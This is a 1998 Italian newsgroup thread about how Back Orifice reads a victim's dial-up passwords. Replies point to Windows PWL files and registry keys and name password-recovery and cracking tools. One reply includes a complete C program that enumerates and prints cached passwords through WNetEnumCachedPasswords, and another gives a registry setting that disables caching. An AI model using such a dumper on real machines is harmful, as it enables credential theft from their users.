Newsgroup: it.comp.sicurezza.varie
Titolo: leggere le password tramite BackOrifice

Mi sorge un dubbio:
come fa il client di Back Orifice ha leggermi la user id e la password che
io uso per entare in internet  esiste un file nel mio computer dove leggerle
?.
Grazie e ciao
roberto
drh...@hotmail.com
P.S. Grazie a Leonardo Serni e a X-hacker per le risposte datemi
precedentemente.

?.
C:\Windows\*.PWL
Ciao!
----
Sigi  (My Nickname)
Marco Sigismondi  (My Real Name)
sigi.o...@iol.it
  (My E-Mail)
11876249  (My ICQ #)
--
Sostituisci "OFF" con "on" per rispondermi.
--
Sigi™: Sistema Integrato di Gestione degli Input
Sigi™ has NO WARRANTY, use at your OWN RISK
Sigi™ is using WinZozz 98, Linux RH5.0 & MacOS 7.61
Sigi™ is a ® of SigiCorporation ltd.
ICW95 Faq™: 
www.agora.stm.it/M.Baldinelli/software/winfaq.html
----

RNA.pwl
 (Il nome puo' essere diverso ma nei file *.pwl trovi le passw che hai
pre-salvato)


Scusa ma sei io le password non le salvo ?
Da me esiste un solo file pwl ed e' vuoto,ovviamente il file porta il nome
del mio computer.
Ho letto da una parte che le password si trovano sul file system.dat, pero'
non saprei come leggerlo visto che il file e' criptato, oppure nel registro
di configurazione che ovviamente le riporta in valori esadecimali. A
proposito esiste un programmino che permette di convertire le password da
esadecimale in caratteri normali?
grazie 1000
roberto

Scusa ma sei io le password non le salvo ?
back orifice va a ficcanasare nella cache
Buttha
-----------------------------------------------------------------------
* HO CAMBIATO INDIRIZZO
* Per rispondere rimuovere i
* PGP Key available with fingerprint:
  7772 5C72 7392 538B  34B8 A189 13BC 867A

..se non le salvi nessuno le puo' vedere, nenche BO :-)
per quanto riguarda il file PWL, quello con il nome del tuo computer
contiene la password di accesso alla rete del tuo comp. normalmente se non
la digiti la prima volta non viene piu' richiesta, e quindi il file e'
vuoto.
ciao ciao

..se non le salvi nessuno le puo' vedere, nenche BO :-), per quanto riguarda
il file PWL, quello con il nome del tuo computer contiene la password di
accesso alla rete del PC, normalmente se non la digiti la prima volta non
viene piu' richiesta, e quindi il file e' vuoto.
ciao ciao.

..se non le salvi nessuno le puo' vedere, nenche BO :-)
ma bo, non va a vedere in cache?


?.
Mi vengono in mente:
RNAqualcosa.PWL
ed i puntatori standard ai servizi Internet di Accesso Remoto. Bracare
dentro quei files, conoscendo l'attenzione riservata da MS a sicurezza
e affini, non dev'essere troppo difficile.
Altrimenti, delle chiavi nel registry.
Leonardo
".signature": bad command or file name

esadecimale in caratteri normali?
pwlview.exe
Ciao
Togliere "CIAO" per rispondere
Remove "CIAO" to reply
~~~~~~~~~~~~~~~~~
Davide Veneziano
dveneziano#
pelagus.it
   # = @
dvene#
usa.net
   vene#
freeyellow.com
ICQ# 14047537
~~~~~~~~~~~~~~~~~
Devi avere il cervello per fare certe cose,
ma altre volte dimenticare di averlo altrimenti
non le faresti.                                Pantani M.


ma queste pass non sono criptate? o BO le decripta automaticamente?
Cmq con quali programmi e' possibile decriptarle?

Non ci posso credere, il Thu, 15 Oct 1998 21:30:03 +0200  "HF"
<dvene...@CIAOpelagus.it> ha  detto:
   >pwlview.exe
fa anche il contrario? (normale ---> esadecimale)
					Luca dEX'
Una volta un uomo saggio disse:
"E' sempre una buona politica quella di azionare le sinapsi
 prima  di eiaculare sentenze."
                                 Master

 Le api di windows permettono di leggere i file pwl e convertire in un senso
e nell'altro il tutto.
    Vedi prog. sotto:
#include <windows.h>
#include <stdio.h>
typedef struct tagPASSWORD_CACHE_ENTRY {
WORD cbEntry;
WORD cbResource;
WORD cbPassword;
BYTE iEntry;
BYTE nType;
BYTE abResource[1]; } PASSWORD_CACHE_ENTRY;
char *buf, *ob1;
int cnt = 0;
BOOL CALLBACK pce(PASSWORD_CACHE_ENTRY *x, DWORD)
{cnt++;
memmove(buf, x->abResource, x->cbResource);
buf[x->cbResource] = 0;
CharToOem(buf, ob1);
printf("%-30s : ", ob1);
memmove(buf, x->abResource+x->cbResource, x->cbPassword);
buf[x->cbPassword] = 0;
CharToOem(buf, ob1);
printf("%s\n", ob1);
return TRUE;}
void main()
{buf = new char[1024];
ob1 = new char[1024];
puts("Non c'e' sicurezza a sto mondo!\n"
"Enter per iniziare...\n");
getchar();
HINSTANCE hi = LoadLibrary("mpr.dll");
if(!hi)
{puts("MPR.DLL ???");
return;}
WORD (__stdcall *enp)(LPSTR, WORD, BYTE, void*, DWORD) =
(WORD (__stdcall *)(LPSTR, WORD, BYTE, void*, DWORD))GetProcAddress(hi,
"WNetEnumCachedPasswords");
if(!enp)
{puts(" ??? ");
return;}
(*enp)(0,0, 0xff, pce, 0);
if(!cnt)
puts("Non trovo le passwords.\n");
FreeLibrary(hi);
puts("\nEnter per finire");
getchar();}

 e nell'altro il tutto.
Esatto, ma con certi limiti. Il programma PWLView che hai riportato,
scritto da Vitas Ramanchauskas, permette di ottenere solo le cached
password dell'utente collegato al sistema. Per questo motivo l'autore
avverte che il programma puo' funzionare soltanto se il "current user"
e' collegato (logged in). La stessa osservazione viene fatta nel libro
"Maximum Security. A Hacker's Guide to Protecting Your Internet Site and
Network" (capitolo 16). 
Cio' significa che la funzione WNetEnumCachedPasswords puo' essere usata
con successo attraverso tool di remote administration come Back Orifice,
ma che non puo' essere impiegata per "crackare" tout-court un file PWL
prelevato su un altro computer.
Nota a margine: Ramanchauskas sostiene che la funzione
WNetEnumCachedPasswords non e' documentata. Questo non e' esatto: la
funzione e' documentata nel Windows for Workgroups SDK.
Per inciso, un vero e proprio strumento di cracking dei file PWL e' il
programma Glide, ma anche questo richiede come parametro il nome
dell'utente cui appartiene il file PWL. Ad ogni modo, su Internet se ne
trovano altri.
Un piccolo suggerimento per tutti: e' possibile evitare l'uso delle
cached password modificando una chiave nel Registry. Basta impostare al
valore 1 la seguente chiave:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\
   Network\DisablePwdCaching
ciao,
Paolo.
-- 
Future Time di Paolo Monti             tel/fax 
+39-06-5003161
Distributore AVP e IDA per l'Italia    Internet: 
http://www.avp.it
e-mail: 
paolo...@avp.it
             Ordini: 
ord...@avp.it
AntiViral toolkit Pro, il potente antivirus con aggiornamenti
settimanali!

Network" (capitolo 16).
  Chi legge cartello non mangia il vitello! ;-)